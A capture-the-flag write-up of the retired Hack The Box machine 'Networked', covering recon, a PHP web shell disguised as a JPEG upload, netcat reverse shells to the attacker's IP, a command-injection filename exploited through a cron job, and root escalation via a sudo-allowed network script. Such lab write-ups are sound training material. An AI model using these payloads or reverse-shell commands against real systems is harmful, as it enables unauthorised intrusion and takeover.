Networked – HackTheBox – Challenge

Networked - Hack The Box

Note to fellow-HTBers: Only write-ups of retired HTB machines or challenges are allowed.

Machine info

Networked [by guly]
IP: 10.10.10.146
OS: Linux
Difficulty: Easy
Release: 24 Aug 2019

Recon

Nmap

As usual we kick off with a nmap scan of the box

# Nmap 7.70 scan initiated Mon Sep 16 22:03:11 2019 as: nmap -v -p- -T4 -oN scanning/nmap-allports 10.10.10.146
Nmap scan report for 10.10.10.146
Host is up (0.049s latency).
Not shown: 65532 filtered ports
PORT    STATE  SERVICE
22/tcp  open   ssh
80/tcp  open   http
443/tcp closed https

Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Sep 16 22:07:27 2019 -- 1 IP address (1 host up) scanned in 256.67 seconds

Ports 22 and 80 are open.
Let’s start with checking the website.

The index pages shows some text, but mainly the source code is important as there’s a reference to an upload functionality and a gallery.

<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>

Let’s run dirb to find potentially interesting folders or files.

In the first run without any extensions, using the big.txt wordlist, we find a 2 folders: backup and uploads.

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

OUTPUT_FILE: scanning/dirb_big
START_TIME: Mon Sep  9 16:49:07 2019
URL_BASE: http://10.10.10.146/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
OPTION: Printing LOCATION header
OPTION: Not Stopping on warning messages

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://10.10.10.146/ ----
==> DIRECTORY: http://10.10.10.146/backup/
+ http://10.10.10.146/cgi-bin/ (CODE:403|SIZE:210)
==> DIRECTORY: http://10.10.10.146/uploads/

---- Entering directory: http://10.10.10.146/backup/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.10.146/uploads/ ----

-----------------
END_TIME: Mon Sep  9 17:19:28 2019
DOWNLOADED: 61374 - FOUND: 1

A second run using .php as extension — since I’ve got the feeling we’re dealing with PHP here — gives us some more interesting files.

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

OUTPUT_FILE: scanning/dirb_big_php
START_TIME: Mon Sep  9 15:48:53 2019
URL_BASE: http://10.10.10.146/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
OPTION: Printing LOCATION header
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://10.10.10.146/ ----
+ http://10.10.10.146/index.php (CODE:200|SIZE:229)
+ http://10.10.10.146/lib.php (CODE:200|SIZE:0)
+ http://10.10.10.146/photos.php (CODE:200|SIZE:1306)
+ http://10.10.10.146/upload.php (CODE:200|SIZE:169)

-----------------
END_TIME: Mon Sep  9 15:59:10 2019
DOWNLOADED: 20458 - FOUND: 4

Let’s have a look at the upload and photos pages.

Screenshot of upload.php
upload.php
Screenshot of photos.php
photos.php

I download one of the CentOS images and upload it at upload.php.
After uploading the image, I get file uploaded, refresh gallery. I refresh photos.php and now see a new image, named uploaded by 10_10_12_221.png. This means the service also does some renaming of the files.

Looking in the backup folder, we find a .tar file containing multiple PHP files.

Screenshot of /backup/
/backup/
$ tar -tf backup.tar 
index.php
lib.php
photos.php
upload.php

upload.php is ofcourse of most interest at the moment.
Let’s have a look

<?php
require '/var/www/html/lib.php';

# Files will be stored in this folder
# Useful to know if we get command injection, to know where we might be starting from
define("UPLOAD_DIR", "/var/www/html/uploads/");

if( isset($_POST['submit']) ) {
  if (!empty($_FILES["myFile"])) {
    $myFile = $_FILES["myFile"];

# Check the filetype of the image, calling an external method (lib.php?)
# and if filesize is smaller than 60 kilobytes
    if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
      echo '<pre>Invalid image file.</pre>';
      displayform();
    }

    if ($myFile["error"] !== UPLOAD_ERR_OK) {
        echo "<p>An error occurred.</p>";
        displayform();
        exit;
    }

# File must have one of the following (image) extensions
# check is done by looking at end of filename
    //$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
    list ($foo,$ext) = getnameUpload($myFile["name"]);
    $validext = array('.jpg', '.png', '.gif', '.jpeg');
    $valid = false;
    foreach ($validext as $vext) {
      if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
        $valid = true;
      }
    }

    if (!($valid)) {
      echo "<p>Invalid image file</p>";
      displayform();
      exit;
    }

# Get remote IP (IP of uploader)
# Replace dots by underscores
# Move file to upload dir, renaming it
    $name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;

    $success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
    if (!$success) {
        echo "<p>Unable to save file.</p>";
        exit;
    }
    echo "<p>file uploaded, refresh gallery</p>";

    // set proper permissions on the new file
    chmod(UPLOAD_DIR . $name, 0644);
  }
} else {
  displayform();
}
?>

Notice that the error message differs depending on the check it failed. This might be used in a blind attack, where you don’t know the code but have to base your actions on the resulting error messages.

Let’s also look at lib.php to get some more info on that check_file_type method. Looks like the image MIME type must start with image/. Note that the MIME type is based on the magic bytes at the start of the file (at least in PHP).

function check_file_type($file) {
  $mime_type = file_mime_type($file);
  if (strpos($mime_type, 'image/') === 0) {
      return true;
  } else {
      return false;
  }  
}

Get user

So to try to get a web shell, we need to create a file that has the correct magic bytes, has a correct extension and might be executed by the web server (e.g. because of a second file extension).

Let’s create shell.php.jpg. Note the magic bytes at the beginning of the file.

��� # FF D8 FF DB / ÿØÿÛ
<form action="" method="get">
Command: <input type="text" name="cmd" /><input type="submit" value="Exec" />
</form>
Output:<br />
<pre><?php passthru($_REQUEST['cmd'], $result); ?></pre>
00000000: ffd8 ffe0 0a3c 666f 726d 2061 6374 696f  .....<form actio
00000010: 6e3d 2222 206d 6574 686f 643d 2267 6574  n="" method="get
00000020: 223e 0a43 6f6d 6d61 6e64 3a20 3c69 6e70  ">.Command: <inp
00000030: 7574 2074 7970 653d 2274 6578 7422 206e  ut type="text" n
00000040: 616d 653d 2263 6d64 2220 2f3e 3c69 6e70  ame="cmd" /><inp
00000050: 7574 2074 7970 653d 2273 7562 6d69 7422  ut type="submit"
00000060: 2076 616c 7565 3d22 4578 6563 2220 2f3e   value="Exec" />
00000070: 0a3c 2f66 6f72 6d3e 0a4f 7574 7075 743a  .</form>.Output:
00000080: 3c62 7220 2f3e 0a3c 7072 653e 3c3f 7068  <br />.<pre><?ph
00000090: 7020 7061 7373 7468 7275 2824 5f52 4551  p passthru($_REQ
000000a0: 5545 5354 5b27 636d 6427 5d2c 2024 7265  UEST['cmd'], $re
000000b0: 7375 6c74 293b 203f 3e3c 2f70 7265 3e0a  sult); ?></pre>.

We upload this file at upload.php and then go to the gallery at photos.php. There we find a broken image, which we can open (in a new tab) to access our web shell.

screenshot of web shell
Web shell

As to not have to run every command from this web shell, we open a netcat listener on our device and make the target host connect to us.

# On our host
$ nc -lvp 1337
listening on [any] 1337 ...

# In the web shell
nc 10.10.15.192 1337 -e /bin/bash

# Incoming connection
10.10.10.146: inverse host lookup failed: Unknown host
connect to [10.10.15.192] from (UNKNOWN) [10.10.10.146] 60570
python -c 'import pty;pty.spawn("/bin/bash");'
# Ctrl+Z (background this process)
$ stty raw -echo
$ fg # Re-actve netcat process

bash-4.2$ export TERM=xterm # Prettify the shell (so I can use clear/Ctrl+L, etc)
bash-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)

We go to the home folder of the user, to try and find the user flag. Sadly enough it’s not readable by the apache user.

bash-4.2$ ls /home
guly
bash-4.2$ ls /home/guly/
check_attack.php  crontab.guly  user.txt
bash-4.2$ ls -l /home/guly/
total 12
-r--r--r--. 1 root root 782 Oct 30  2018 check_attack.php
-rw-r--r--  1 root root  44 Oct 30  2018 crontab.guly
-r--------. 1 guly guly  33 Oct 30  2018 user.txt

The crontab file seems to be worth having a look at.

*/3 * * * * php /home/guly/check_attack.php

Looks like it check_attack.php is executed every three minutes. Let’s check that file.

# [...]
$files = preg_grep('/^([^.])/', scandir($path)); # Get files in dir ($path = /var/www/html/uploads/)
# [...]
  list ($name,$ext) = getnameCheck($value); # Call function that splits name and ext
  $check = check_ip($name,$value); # Do a check on the name

# If the check failed (first value in returned array is not true)
  if (!($check[0])) {
    echo "attack!\n";
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
# Exec does OS commands
# We can control the filename, so break out of the rm
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
# [...]

This script also refers to lib.php for the check_ip method.

function check_ip($prefix,$filename) {
  //echo "prefix: $prefix - fname: $filename<br>\n";
  $ret = true;
  if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
    $ret = false;
    $msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
  } else {
    $msg = $filename;
  }
  return array($ret,$msg);
}

Looks like we have to make a file with a filename that does not contain a valid IP, breaks out of the exec(rm) and executes a command that gives us access to the guly user.

Let’s create a file that opens a netcat connection again.

# On our side
$ nc -lvp 1338
listening on [any] 1338 ...

# Target side
bash-4.2$ cd /var/www/html/uploads/
bash-4.2$ touch '; nc -v 10.10.15.192 1338 -e $(which bash)' # I use which because filename cannot contain /
# This would also work:
# touch '; nc -c bash -v 10.10.15.192 1338'

We’ve got the user flag

A minute or two (max three, remember the cronjob) later, we get a netcat connection with shell access as the guly user.

$ nc -lvp 1338
listening on [any] 1338 ...
10.10.10.146: inverse host lookup failed: Unknown host
connect to [10.10.15.192] from (UNKNOWN) [10.10.10.146] 60570
python -c 'import pty;pty.spawn("/bin/bash");'
[guly@networked ~]$ whoami
whoami
guly
[guly@networked ~]$ cat user.txt
526cfc2305f17faaacecf212c57d71c5

Get root

We check to see if the guly user can execute anything as sudo/root and we find 1 script which can be executed by guly.

[guly@networked ~]$ sudo -l
Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh

We can’t modify the file, so we’ll need to find a way to abuse it.

[guly@networked ~]$ ls -l /usr/local/sbin/changename.sh
-rwxr-xr-x 1 root root 422 Jul  8 12:34 /usr/local/sbin/changename.sh

Note that this script is used to source variables to a network script. There’s a vulnerability here that if you include a space in any of the variables, the code appended after that space will be executed.
See this mail thread for more info.

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

# Input must only contain alphanumeric, underscore, space, slash or dash
regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
        echo "interface $var:"
        read x
        while [[ ! $x =~ $regexp ]]; do
                echo "wrong input, try again"
                echo "interface $var:"
                read x
        done
# $x will be read
# Including a space in the variable, will cause command execution
# e.g. $test="test" echo "hi"
#      hi
        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
  
/sbin/ifup guly0

So we run the script, using sudo, and pass a command in one of the variables.

[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
iface
interface PROXY_METHOD:
proxy
interface BROWSER_ONLY:
browser
interface BOOTPROTO:
proto bash
[root@networked network-scripts]# whoami
root

Got the root flag

[root@networked network-scripts]# cat /root/root.txt
0a8ecda83f1d81251099e8ac3d0dcb82

It took me some time to find the right filename for getting the guly user and have a script in the sudoers file was definitely a nice touch. Really like this box.

Kudos to guly!